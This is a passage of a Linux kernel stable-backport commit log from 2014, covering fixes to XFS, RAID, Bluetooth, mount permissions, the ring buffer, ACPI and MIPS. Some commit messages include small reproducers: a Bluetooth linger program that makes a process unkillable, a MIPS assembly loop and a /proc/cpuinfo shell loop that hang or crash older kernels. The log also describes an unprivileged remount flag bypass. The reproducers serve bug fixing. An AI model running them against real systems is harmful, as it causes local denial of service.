Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88006fe38000 ffff88004a0ffae8 ffffffff81cf1cca 0000000000000001 ffff88004a0ffb88 ffffffff814d50ca 000010004a0ffc70 0000000000000000 ffff88006be56dc4 0000000000000021 0000000000001dc8 ffff88007c773d80 Call Trace: [] dump_stack+0x45/0x56 [] _xfs_buf_ioapply+0x3ca/0x3d0 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [] xfs_buf_iorequest+0x6b/0xd0 [] xfs_bdstrat_cb+0x55/0xb0 [] __xfs_buf_delwri_submit+0x15b/0x220 [] ? xfs_buf_delwri_submit+0x30/0x90 [] xfs_buf_delwri_submit+0x30/0x90 [] xfs_qm_quotacheck+0x17d/0x3c0 [] xfs_qm_mount_quotas+0x151/0x1e0 [] xfs_mountfs+0x56c/0x7d0 [] xfs_fs_fill_super+0x2c2/0x340 [] mount_bdev+0x194/0x1d0 [] ? xfs_finish_flags+0x170/0x170 [] xfs_fs_mount+0x15/0x20 [] mount_fs+0x39/0x1b0 [] vfs_kern_mount+0x67/0x120 [] do_mount+0x23e/0xad0 [] ? __get_free_pages+0xe/0x50 [] ? copy_mount_options+0x36/0x150 [] SyS_mount+0x83/0xc0 [] tracesys+0xdd/0xe2 This was caused by dquot buffer readahead not attaching a verifier structure to the buffer when readahead was issued, resulting in the followup read of the buffer finding a valid buffer and so not attaching new verifiers to the buffer as part of the read. Also, when a verifier failure occurs, we then read the buffer without verifiers. Attach the verifiers manually after this read so that if the buffer is then written it will be verified that the corruption has been repaired. Further, when flushing a dquot we don't ask for a verifier when reading in the dquot buffer the dquot belongs to. Most of the time this isn't an issue because the buffer is still cached, but when it is not cached it will result in writing the dquot buffer without having the verfier attached. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 245b65d140358465f328f91cfa2be875de9d303e Author: Steve Wise Date: Fri Jul 25 09:11:33 2014 -0500 RDMA/iwcm: Use a default listen backlog if needed commit 2f0304d21867476394cd51a54e97f7273d112261 upstream. If the user creates a listening cm_id with backlog of 0 the IWCM ends up not allowing any connection requests at all. The correct behavior is for the IWCM to pick a default value if the user backlog parameter is zero. Lustre from version 1.8.8 onward uses a backlog of 0, which breaks iwarp support without this fix. Signed-off-by: Steve Wise Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edd172b0a70ef7b88f335d0cc5ee88b7f273b437 Author: NeilBrown Date: Mon Aug 18 13:59:50 2014 +1000 md/raid10: Fix memory leak when raid10 reshape completes. commit b39685526f46976bcd13aa08c82480092befa46c upstream. When a raid10 commences a resync/recovery/reshape it allocates some buffer space. When a resync/recovery completes the buffer space is freed. But not when the reshape completes. This can result in a small memory leak. There is a subtle side-effect of this bug. When a RAID10 is reshaped to a larger array (more devices), the reshape is immediately followed by a "resync" of the new space. This "resync" will use the buffer space which was allocated for "reshape". This can cause problems including a "BUG" in the SCSI layer. So this is suitable for -stable. Fixes: 3ea7daa5d7fde47cd41f4d56c2deb949114da9d6 Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6571b1beb66f9151631604a3f3ab8c35571e4925 Author: NeilBrown Date: Mon Aug 18 13:56:38 2014 +1000 md/raid10: fix memory leak when reshaping a RAID10. commit ce0b0a46955d1bb389684a2605dbcaa990ba0154 upstream. raid10 reshape clears unwanted bits from a bio->bi_flags using a method which, while clumsy, worked until 3.10 when BIO_OWNS_VEC was added. Since then it clears that bit but shouldn't. This results in a memory leak. So change to used the approved method of clearing unwanted bits. As this causes a memory leak which can consume all of memory the fix is suitable for -stable. Fixes: a38352e0ac02dbbd4fa464dc22d1352b5fbd06fd Reported-by: mdraid.pkoch@dfgh.net (Peter Koch) Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdc336c7460543026eccfab3f05bea8e2bab318a Author: NeilBrown Date: Wed Aug 13 09:57:07 2014 +1000 md/raid6: avoid data corruption during recovery of double-degraded RAID6 commit 9c4bdf697c39805078392d5ddbbba5ae5680e0dd upstream. During recovery of a double-degraded RAID6 it is possible for some blocks not to be recovered properly, leading to corruption. If a write happens to one block in a stripe that would be written to a missing device, and at the same time that stripe is recovering data to the other missing device, then that recovered data may not be written. This patch skips, in the double-degraded case, an optimisation that is only safe for single-degraded arrays. Bug was introduced in 2.6.32 and fix is suitable for any kernel since then. In an older kernel with separate handle_stripe5() and handle_stripe6() functions the patch must change handle_stripe6(). Fixes: 6c0069c0ae9659e3a91b68eaed06a5c6c37f45c8 Cc: Yuri Tikhonov Cc: Dan Williams Reported-by: "Manibalan P" Tested-by: "Manibalan P" Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1090423 Signed-off-by: NeilBrown Acked-by: Dan Williams Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f4a291f67d7724c8704ed8499b2770de36bd4a8 Author: Vignesh Raman Date: Tue Jul 22 19:24:25 2014 +0530 Bluetooth: Avoid use of session socket after the session gets freed commit 32333edb82fb2009980eefc5518100068147ab82 upstream. The commits 08c30aca9e698faddebd34f81e1196295f9dc063 "Bluetooth: Remove RFCOMM session refcnt" and 8ff52f7d04d9cc31f1e81dcf9a2ba6335ed34905 "Bluetooth: Return RFCOMM session ptrs to avoid freed session" allow rfcomm_recv_ua and rfcomm_session_close to delete the session (and free the corresponding socket) and propagate NULL session pointer to the upper callers. Additional fix is required to terminate the loop in rfcomm_process_rx function to avoid use of freed 'sk' memory. The issue is only reproducible with kernel option CONFIG_PAGE_POISONING enabled making freed memory being changed and filled up with fixed char value used to unmask use-after-free issues. Signed-off-by: Vignesh Raman Signed-off-by: Vitaly Kuzmichev Acked-by: Dean Jenkins Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a78ecb308771219a2c3ebc2df8e08119573630e Author: Vladimir Davydov Date: Tue Jul 15 12:25:28 2014 +0400 Bluetooth: never linger on process exit commit 093facf3634da1b0c2cc7ed106f1983da901bbab upstream. If the current process is exiting, lingering on socket close will make it unkillable, so we should avoid it. Reproducer: #include #include #define BTPROTO_L2CAP 0 #define BTPROTO_SCO 2 #define BTPROTO_RFCOMM 3 int main() { int fd; struct linger ling; fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); //or: fd = socket(PF_BLUETOOTH, SOCK_DGRAM, BTPROTO_L2CAP); //or: fd = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); ling.l_onoff = 1; ling.l_linger = 1000000000; setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling)); return 0; } Signed-off-by: Vladimir Davydov Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cec369a90363ee9fef35b3da6a8f0ea1032a1135 Author: Eric W. Biederman Date: Tue Jul 29 15:50:44 2014 -0700 mnt: Add tests for unprivileged remount cases that have found to be faulty commit db181ce011e3c033328608299cd6fac06ea50130 upstream. Kenton Varda discovered that by remounting a read-only bind mount read-only in a user namespace the MNT_LOCK_READONLY bit would be cleared, allowing an unprivileged user to the remount a read-only mount read-write. Upon review of the code in remount it was discovered that the code allowed nosuid, noexec, and nodev to be cleared. It was also discovered that the code was allowing the per mount atime flags to be changed. The first naive patch to fix these issues contained the flaw that using default atime settings when remounting a filesystem could be disallowed. To avoid this problems in the future add tests to ensure unprivileged remounts are succeeding and failing at the appropriate times. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de4b252e56527eaa20e06d7545b5e75c4bfe1c31 Author: Eric W. Biederman Date: Mon Jul 28 17:36:04 2014 -0700 mnt: Change the default remount atime from relatime to the existing value commit ffbc6f0ead47fa5a1dc9642b0331cb75c20a640e upstream. Since March 2009 the kernel has treated the state that if no MS_..ATIME flags are passed then the kernel defaults to relatime. Defaulting to relatime instead of the existing atime state during a remount is silly, and causes problems in practice for people who don't specify any MS_...ATIME flags and to get the default filesystem atime setting. Those users may encounter a permission error because the default atime setting does not work. A default that does not work and causes permission problems is ridiculous, so preserve the existing value to have a default atime setting that is always guaranteed to work. Using the default atime setting in this way is particularly interesting for applications built to run in restricted userspace environments without /proc mounted, as the existing atime mount options of a filesystem can not be read from /proc/mounts. In practice this fixes user space that uses the default atime setting on remount that are broken by the permission checks keeping less privileged users from changing more privileged users atime settings. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fe371824b6b32de7216f94b5cf4e69003f7518a Author: Eric W. Biederman Date: Mon Jul 28 17:26:07 2014 -0700 mnt: Correct permission checks in do_remount commit 9566d6742852c527bf5af38af5cbb878dad75705 upstream. While invesgiating the issue where in "mount --bind -oremount,ro ..." would result in later "mount --bind -oremount,rw" succeeding even if the mount started off locked I realized that there are several additional mount flags that should be locked and are not. In particular MNT_NOSUID, MNT_NODEV, MNT_NOEXEC, and the atime flags in addition to MNT_READONLY should all be locked. These flags are all per superblock, can all be changed with MS_BIND, and should not be changable if set by a more privileged user. The following additions to the current logic are added in this patch. - nosuid may not be clearable by a less privileged user. - nodev may not be clearable by a less privielged user. - noexec may not be clearable by a less privileged user. - atime flags may not be changeable by a less privileged user. The logic with atime is that always setting atime on access is a global policy and backup software and auditing software could break if atime bits are not updated (when they are configured to be updated), and serious performance degradation could result (DOS attack) if atime updates happen when they have been explicitly disabled. Therefore an unprivileged user should not be able to mess with the atime bits set by a more privileged user. The additional restrictions are implemented with the addition of MNT_LOCK_NOSUID, MNT_LOCK_NODEV, MNT_LOCK_NOEXEC, and MNT_LOCK_ATIME mnt flags. Taken together these changes and the fixes for MNT_LOCK_READONLY should make it safe for an unprivileged user to create a user namespace and to call "mount --bind -o remount,... ..." without the danger of mount flags being changed maliciously. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e6355c70d3e6270f809054a2dce85543169c369 Author: Eric W. Biederman Date: Mon Jul 28 17:10:56 2014 -0700 mnt: Move the test for MNT_LOCK_READONLY from change_mount_flags into do_remount commit 07b645589dcda8b7a5249e096fece2a67556f0f4 upstream. There are no races as locked mount flags are guaranteed to never change. Moving the test into do_remount makes it more visible, and ensures all filesystem remounts pass the MNT_LOCK_READONLY permission check. This second case is not an issue today as filesystem remounts are guarded by capable(CAP_DAC_ADMIN) and thus will always fail in less privileged mount namespaces, but it could become an issue in the future. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 125ce57382e852fb607d3d3d9889e731ceb2e8f5 Author: Steven Rostedt (Red Hat) Date: Wed Aug 6 15:36:31 2014 -0400 ring-buffer: Up rb_iter_peek() loop count to 3 commit 021de3d904b88b1771a3a2cfc5b75023c391e646 upstream. After writting a test to try to trigger the bug that caused the ring buffer iterator to become corrupted, I hit another bug: WARNING: CPU: 1 PID: 5281 at kernel/trace/ring_buffer.c:3766 rb_iter_peek+0x113/0x238() Modules linked in: ipt_MASQUERADE sunrpc [...] CPU: 1 PID: 5281 Comm: grep Tainted: G W 3.16.0-rc3-test+ #143 Hardware name: To Be Filled By O.E.M. To Be Filled By O.E.M./To be filled by O.E.M., BIOS SDBLI944.86P 05/08/2007 0000000000000000 ffffffff81809a80 ffffffff81503fb0 0000000000000000 ffffffff81040ca1 ffff8800796d6010 ffffffff810c138d ffff8800796d6010 ffff880077438c80 ffff8800796d6010 ffff88007abbe600 0000000000000003 Call Trace: [] ? dump_stack+0x4a/0x75 [] ? warn_slowpath_common+0x7e/0x97 [] ? rb_iter_peek+0x113/0x238 [] ? rb_iter_peek+0x113/0x238 [] ? ring_buffer_iter_peek+0x2d/0x5c [] ? tracing_iter_reset+0x6e/0x96 [] ? s_start+0xd7/0x17b [] ? kmem_cache_alloc_trace+0xda/0xea [] ? seq_read+0x148/0x361 [] ? vfs_read+0x93/0xf1 [] ? SyS_read+0x60/0x8e [] ? tracesys+0xdd/0xe2 Debugging this bug, which triggers when the rb_iter_peek() loops too many times (more than 2 times), I discovered there's a case that can cause that function to legitimately loop 3 times! rb_iter_peek() is different than rb_buffer_peek() as the rb_buffer_peek() only deals with the reader page (it's for consuming reads). The rb_iter_peek() is for traversing the buffer without consuming it, and as such, it can loop for one more reason. That is, if we hit the end of the reader page or any page, it will go to the next page and try again. That is, we have this: 1. iter->head > iter->head_page->page->commit (rb_inc_iter() which moves the iter to the next page) try again 2. event = rb_iter_head_event() event->type_len == RINGBUF_TYPE_TIME_EXTEND rb_advance_iter() try again 3. read the event. But we never get to 3, because the count is greater than 2 and we cause the WARNING and return NULL. Up the counter to 3. Fixes: 69d1b839f7ee "ring-buffer: Bind time extend and data events together" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd858a14d39cc26e6ff52df7d1efbd851bbdf944 Author: Steven Rostedt (Red Hat) Date: Wed Aug 6 14:11:33 2014 -0400 ring-buffer: Always reset iterator to reader page commit 651e22f2701b4113989237c3048d17337dd2185c upstream. When performing a consuming read, the ring buffer swaps out a page from the ring buffer with a empty page and this page that was swapped out becomes the new reader page. The reader page is owned by the reader and since it was swapped out of the ring buffer, writers do not have access to it (there's an exception to that rule, but it's out of scope for this commit). When reading the "trace" file, it is a non consuming read, which means that the data in the ring buffer will not be modified. When the trace file is opened, a ring buffer iterator is allocated and writes to the ring buffer are disabled, such that the iterator will not have issues iterating over the data. Although the ring buffer disabled writes, it does not disable other reads, or even consuming reads. If a consuming read happens, then the iterator is reset and starts reading from the beginning again. My tests would sometimes trigger this bug on my i386 box: WARNING: CPU: 0 PID: 5175 at kernel/trace/trace.c:1527 __trace_find_cmdline+0x66/0xaa() Modules linked in: CPU: 0 PID: 5175 Comm: grep Not tainted 3.16.0-rc3-test+ #8 Hardware name: /DG965MQ, BIOS MQ96510J.86A.0372.2006.0605.1717 06/05/2006 00000000 00000000 f09c9e1c c18796b3 c1b5d74c f09c9e4c c103a0e3 c1b5154b f09c9e78 00001437 c1b5d74c 000005f7 c10bd85a c10bd85a c1cac57c f09c9eb0 ed0e0000 f09c9e64 c103a185 00000009 f09c9e5c c1b5154b f09c9e78 f09c9e80^M Call Trace: [] dump_stack+0x4b/0x75 [] warn_slowpath_common+0x7e/0x95 [] ? __trace_find_cmdline+0x66/0xaa [] ? __trace_find_cmdline+0x66/0xaa [] warn_slowpath_fmt+0x33/0x35 [] __trace_find_cmdline+0x66/0xaa^M [] trace_find_cmdline+0x40/0x64 [] trace_print_context+0x27/0xec [] ? trace_seq_printf+0x37/0x5b [] print_trace_line+0x319/0x39b [] ? ring_buffer_read+0x47/0x50 [] s_show+0x192/0x1ab [] ? s_next+0x5a/0x7c [] seq_read+0x267/0x34c [] vfs_read+0x8c/0xef [] ? seq_lseek+0x154/0x154 [] SyS_read+0x54/0x7f [] syscall_call+0x7/0xb ---[ end trace 3f507febd6b4cc83 ]--- >>>> ##### CPU 1 buffer started #### Which was the __trace_find_cmdline() function complaining about the pid in the event record being negative. After adding more test cases, this would trigger more often. Strangely enough, it would never trigger on a single test, but instead would trigger only when running all the tests. I believe that was the case because it required one of the tests to be shutting down via delayed instances while a new test started up. After spending several days debugging this, I found that it was caused by the iterator becoming corrupted. Debugging further, I found out why the iterator became corrupted. It happened with the rb_iter_reset(). As consuming reads may not read the full reader page, and only part of it, there's a "read" field to know where the last read took place. The iterator, must also start at the read position. In the rb_iter_reset() code, if the reader page was disconnected from the ring buffer, the iterator would start at the head page within the ring buffer (where writes still happen). But the mistake there was that it still used the "read" field to start the iterator on the head page, where it should always start at zero because readers never read from within the ring buffer where writes occur. I originally wrote a patch to have it set the iter->head to 0 instead of iter->head_page->read, but then I questioned why it wasn't always setting the iter to point to the reader page, as the reader page is still valid. The list_empty(reader_page->list) just means that it was successful in swapping out. But the reader_page may still have data. There was a bug report a long time ago that was not reproducible that had something about trace_pipe (consuming read) not matching trace (iterator read). This may explain why that happened. Anyway, the correct answer to this bug is to always use the reader page an not reset the iterator to inside the writable ring buffer. Fixes: d769041f8653 "ring_buffer: implement new locking" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 339008b9cbbd4dc2efe84a23b61e4f211990dd89 Author: Jiri Kosina Date: Wed Sep 3 15:04:28 2014 +0200 ACPI / cpuidle: fix deadlock between cpuidle_lock and cpu_hotplug.lock commit 6726655dfdd2dc60c035c690d9f10cb69d7ea075 upstream. There is a following AB-BA dependency between cpu_hotplug.lock and cpuidle_lock: 1) cpu_hotplug.lock -> cpuidle_lock enable_nonboot_cpus() _cpu_up() cpu_hotplug_begin() LOCK(cpu_hotplug.lock) cpu_notify() ... acpi_processor_hotplug() cpuidle_pause_and_lock() LOCK(cpuidle_lock) 2) cpuidle_lock -> cpu_hotplug.lock acpi_os_execute_deferred() workqueue ... acpi_processor_cst_has_changed() cpuidle_pause_and_lock() LOCK(cpuidle_lock) get_online_cpus() LOCK(cpu_hotplug.lock) Fix this by reversing the order acpi_processor_cst_has_changed() does thigs -- let it first execute the protection against CPU hotplug by calling get_online_cpus() and obtain the cpuidle lock only after that (and perform the symmentric change when allowing CPUs hotplug again and dropping cpuidle lock). Spotted by lockdep. Signed-off-by: Jiri Kosina Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d10b45d2cc818d81a52d5d7fc446767521add887 Author: Lan Tianyu Date: Tue Aug 26 01:29:24 2014 +0200 ACPI: Run fixed event device notifications in process context commit 236105db632c6279a020f78c83e22eaef746006b upstream. Currently, notify callbacks for fixed button events are run from interrupt context. That is not necessary and after commit 0bf6368ee8f2 (ACPI / button: Add ACPI Button event via netlink routine) it causes netlink routines to be called from interrupt context which is not correct. Also, that is different from non-fixed device events (including non-fixed button events) whose notify callbacks are all executed from process context. For the above reasons, make fixed button device notify callbacks run in process context which will avoid the deadlock when using netlink to report button events to user space. Fixes: 0bf6368ee8f2 (ACPI / button: Add ACPI Button event via netlink routine) Link: https://lkml.org/lkml/2014/8/21/606 Reported-by: Benjamin Block Reported-by: Knut Petersen Signed-off-by: Lan Tianyu [rjw: Function names, subject and changelog.] Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 04545be2a869cc3e2e0c239c2fc44fdaade13f58 Author: David E. Box Date: Tue Jul 8 10:05:52 2014 +0800 ACPICA: Utilities: Fix memory leak in acpi_ut_copy_iobject_to_iobject commit 8aa5e56eeb61a099ea6519eb30ee399e1bc043ce upstream. Adds return status check on copy routines to delete the allocated destination object if either copy fails. Reported by Colin Ian King on bugs.acpica.org, Bug 1087. The last applicable commit: Commit: 3371c19c294a4cb3649aa4e84606be8a1d999e61 Subject: ACPICA: Remove ACPI_GET_OBJECT_TYPE macro Link: https://bugs.acpica.org/show_bug.cgi?id=1087 Reported-by: Colin Ian King Signed-off-by: David E. Box Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a34a4e45af89ca85b7c8b0f51e1acd845ec2af9e Author: Ben Hutchings Date: Sun Jun 8 23:33:25 2014 +0100 bfa: Fix undefined bit shift on big-endian architectures with 32-bit DMA address commit 03a6c3ff3282ee9fa893089304d951e0be93a144 upstream. bfa_swap_words() shifts its argument (assumed to be 64-bit) by 32 bits each way. In two places the argument type is dma_addr_t, which may be 32-bit, in which case the effect of the bit shift is undefined: drivers/scsi/bfa/bfa_fcpim.c: In function 'bfa_ioim_send_ioreq': drivers/scsi/bfa/bfa_fcpim.c:2497:4: warning: left shift count >= width of type [enabled by default] addr = bfa_sgaddr_le(sg_dma_address(sg)); ^ drivers/scsi/bfa/bfa_fcpim.c:2497:4: warning: right shift count >= width of type [enabled by default] drivers/scsi/bfa/bfa_fcpim.c:2509:4: warning: left shift count >= width of type [enabled by default] addr = bfa_sgaddr_le(sg_dma_address(sg)); ^ drivers/scsi/bfa/bfa_fcpim.c:2509:4: warning: right shift count >= width of type [enabled by default] Avoid this by adding casts to u64 in bfa_swap_words(). Compile-tested only. Signed-off-by: Ben Hutchings Reviewed-by: Martin K. Petersen Acked-by: Anil Gurumurthy Fixes: f16a17507b09 ('[SCSI] bfa: remove all OS wrappers') Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 099bee40c58dcc7312780fad1683fdc54f0d2d16 Author: Daniel Mack Date: Wed Aug 13 21:51:06 2014 +0200 ASoC: pxa-ssp: drop SNDRV_PCM_FMTBIT_S24_LE commit 9301503af016eb537ccce76adec0c1bb5c84871e upstream. This mode is unsupported, as the DMA controller can't do zero-padding of samples. Signed-off-by: Daniel Mack Reported-by: Johannes Stezenbach Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1df23cdf77e21c90b7d3736986b090bd4b8d8237 Author: Jarkko Nikula Date: Thu Jun 19 09:32:05 2014 +0300 ASoC: max98090: Fix missing free_irq commit 4adeb0ccf86a5af1825bbfe290dee9e60a5ab870 upstream. max98090.c doesn't free the threaded interrupt it requests. This causes an oops when doing "cat /proc/interrupts" after snd-soc-max98090.ko is unloaded. Fix this by requesting the interrupt by using devm_request_threaded_irq(). Signed-off-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75d4bb373005f3615fc58666b875f7f946bd0d0b Author: Sylwester Nawrocki Date: Fri Jul 4 16:05:45 2014 +0200 ASoC: samsung: Correct I2S DAI suspend/resume ops commit d3d4e5247b013008a39e4d5f69ce4c60ed57f997 upstream. We should save/restore relevant I2S registers regardless of the dai->active flag, otherwise some settings are being lost after system suspend/resume cycle. E.g. I2S slave mode set only during dai initialization is not preserved and the device ends up in master mode after system resume. Signed-off-by: Sylwester Nawrocki Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3cc5d5cfa3dc48d041e339b086a56f684f468825 Author: Jonas Bonn Date: Sun Feb 19 17:36:53 2012 +0100 openrisc: Rework signal handling commit 10f67dbf6add97751050f294d4c8e0cc1e5c2c23 upstream. The mainline signal handling code for OpenRISC has been buggy since day one with respect to syscall restart. This patch significantly reworks the signal handling code: i) Move the "work pending" loop to C code (borrowed from ARM arch) ii) Allow a tracer to muck about with the IP and skip syscall restart in that case (again, borrowed from ARM) iii) Make signal handling WRT syscall restart actually work v) Make the signal handling code look more like that of other architectures so that it's easier for others to follow Reported-by: Anders Nystrom Signed-off-by: Jonas Bonn Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37b886ae1d8de4c7feb59851a93ba6e7bd504486 Author: Ralf Baechle Date: Tue Sep 17 12:44:31 2013 +0200 MIPS: Fix accessing to per-cpu data when flushing the cache commit ff522058bd717506b2fa066fa564657f2b86477e upstream. This fixes the following issue BUG: using smp_processor_id() in preemptible [00000000] code: kjournald/1761 caller is blast_dcache32+0x30/0x254 Call Trace: [<8047f02c>] dump_stack+0x8/0x34 [<802e7e40>] debug_smp_processor_id+0xe0/0xf0 [<80114d94>] blast_dcache32+0x30/0x254 [<80118484>] r4k_dma_cache_wback_inv+0x200/0x288 [<80110ff0>] mips_dma_map_sg+0x108/0x180 [<80355098>] ide_dma_prepare+0xf0/0x1b8 [<8034eaa4>] do_rw_taskfile+0x1e8/0x33c [<8035951c>] ide_do_rw_disk+0x298/0x3e4 [<8034a3c4>] do_ide_request+0x2e0/0x704 [<802bb0dc>] __blk_run_queue+0x44/0x64 [<802be000>] queue_unplugged.isra.36+0x1c/0x54 [<802beb94>] blk_flush_plug_list+0x18c/0x24c [<802bec6c>] blk_finish_plug+0x18/0x48 [<8026554c>] journal_commit_transaction+0x3b8/0x151c [<80269648>] kjournald+0xec/0x238 [<8014ac00>] kthread+0xb8/0xc0 [<8010268c>] ret_from_kernel_thread+0x14/0x1c Caches in most systems are identical - but not always, so we can't avoid the use of smp_call_function() by just looking at the boot CPU's data, have to fiddle with preemption instead. Signed-off-by: Ralf Baechle Cc: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/5835 Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a628887b10247ae813edd83310d9edd1d34232ba Author: Aaro Koskinen Date: Tue Jul 22 14:51:08 2014 +0300 MIPS: OCTEON: make get_system_type() thread-safe commit 608308682addfdc7b8e2aee88f0e028331d88e4d upstream. get_system_type() is not thread-safe on OCTEON. It uses static data, also more dangerous issue is that it's calling cvmx_fuse_read_byte() every time without any synchronization. Currently it's possible to get processes stuck looping forever in kernel simply by launching multiple readers of /proc/cpuinfo: (while true; do cat /proc/cpuinfo > /dev/null; done) & (while true; do cat /proc/cpuinfo > /dev/null; done) & ... Fix by initializing the system type string only once during the early boot. Signed-off-by: Aaro Koskinen Reviewed-by: Markos Chandras Patchwork: http://patchwork.linux-mips.org/patch/7437/ Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1b52bf89dc5bea9ff0a6424bc723336a75eb43d Author: Markos Chandras Date: Wed Jan 22 14:40:00 2014 +0000 MIPS: asm: thread_info: Add _TIF_SECCOMP flag commit 137f7df8cead00688524c82360930845396b8a21 upstream. Add _TIF_SECCOMP flag to _TIF_WORK_SYSCALL_ENTRY to indicate that the system call needs to be checked against a seccomp filter. Signed-off-by: Markos Chandras Reviewed-by: Paul Burton Reviewed-by: James Hogan Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/6405/ Signed-off-by: Ralf Baechle [bwh: Backported to 3.2: various other flags are not included in _TIF_WORK_SYSCALL_ENTRY] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9241500b72a3151d97f83b5e950d84acb3cbd5d9 Author: Ralf Baechle Date: Wed May 29 01:02:18 2013 +0200 MIPS: Cleanup flags in syscall flags handlers. commit e7f3b48af7be9f8007a224663a5b91340626fed5 upstream. This will simplify further modifications. Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55d5b19b344e34b9db5778c4187a0abc5dd5ab9e Author: Alex Smith Date: Wed Jul 23 14:40:08 2014 +0100 MIPS: asm/reg.h: Make 32- and 64-bit definitions available at the same time commit bcec7c8da6b092b1ff3327fd83c2193adb12f684 upstream. Get rid of the WANT_COMPAT_REG_H test and instead define both the 32- and 64-bit register offset definitions at the same time with MIPS{32,64}_ prefixes, then define the existing EF_* names to the correct definitions for the kernel's bitness. This patch is a prerequisite of the following bug fix patch. Signed-off-by: Alex Smith Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7451/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 354ac0a366d365ca175ea0ab21ca1fcd27fa0e70 Author: Huacai Chen Date: Wed Jul 16 09:19:16 2014 +0800 MIPS: Remove BUG_ON(!is_fpu_owner()) in do_ade() commit 2e5767a27337812f6850b3fa362419e2f085e5c3 upstream. In do_ade(), is_fpu_owner() isn't preempt-safe. For example, when an unaligned ldc1 is executed, do_cpu() is called and then FPU will be enabled (and TIF_USEDFPU will be set for the current process). Then, do_ade() is called because the access is unaligned. If the current process is preempted at this time, TIF_USEDFPU will be cleard. So when the process is scheduled again, BUG_ON(!is_fpu_owner()) is triggered. This small program can trigger this BUG in a preemptible kernel: int main (int argc, char *argv[]) { double u64[2]; while (1) { asm volatile ( ".set push \n\t" ".set noreorder \n\t" "ldc1 $f3, 4(%0) \n\t" ".set pop \n\t" ::"r"(u64): ); } return 0; } V2: Remove the BUG_ON() unconditionally due to Paul's suggestion. Signed-off-by: Huacai Chen Signed-off-by: Jie Chen Signed-off-by: Rui Wang Cc: John Crispin Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9403f6d688ddcd96adddcaa45ca1a0748968bfdc Author: Huacai Chen Date: Tue Jul 29 14:54:40 2014 +0800 MIPS: tlbex: Fix a missing statement for HUGETLB commit 8393c524a25609a30129e4a8975cf3b91f6c16a5 upstream. In commit 2c8c53e28f1 (MIPS: Optimize TLB handlers for Octeon CPUs) build_r4000_tlb_refill_handler() is modified. But it doesn't compatible with the original code in HUGETLB case. Because there is a copy & paste error and one line of code is missing. It is very easy to produce a bug with LTP's hugemmap05 test. Signed-off-by: Huacai Chen Signed-off-by: Binbin Zhou Cc: John Crispin Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Patchwork: https://patchwork.linux-mips.org/patch/7496/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fff2ba51e011ce6c44dd483a6dc077cc29f6c0fd Author: Paul Burton Date: Tue Jul 22 14:21:21 2014 +0100 MIPS: Prevent user from setting FCSR cause bits commit 